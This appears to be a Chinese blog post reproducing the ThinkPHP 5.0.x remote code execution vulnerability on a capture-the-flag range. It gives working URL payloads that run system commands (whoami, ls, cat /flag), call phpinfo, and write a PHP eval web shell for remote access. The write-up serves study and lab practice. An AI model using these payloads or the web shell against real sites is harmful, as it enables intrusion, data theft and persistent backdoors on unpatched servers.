ThinkPHP 5命令执行漏洞复现

漏洞简介

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。

漏洞描述

Thinphp团队在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST[‘_method’]变量,却没有对$_POST[‘_method’]属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。

影响范围

受影响版本:ThinkPHP 5.0.x
不受影响版本:ThinkPHP 5.0.24

漏洞复现

题目来源:starsnow靶场-TP5

本题版本为ThinkPHP V5.0.20
在这里插入图片描述

1.利用system函数远程命令执行

Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

在这里插入图片描述

2.通过phpinfo函数写出phpinfo()的信息

Payload: ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述

3.查看目录结构,发现flag文件

Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

在这里插入图片描述
4.读取flag文件内容

Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述

方法二:写入shell

Payload: ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>

蚁剑连接,cat flag
在这里插入图片描述
参考文章:https://www.cnblogs.com/backlion/p/10106676.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Atkxor

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值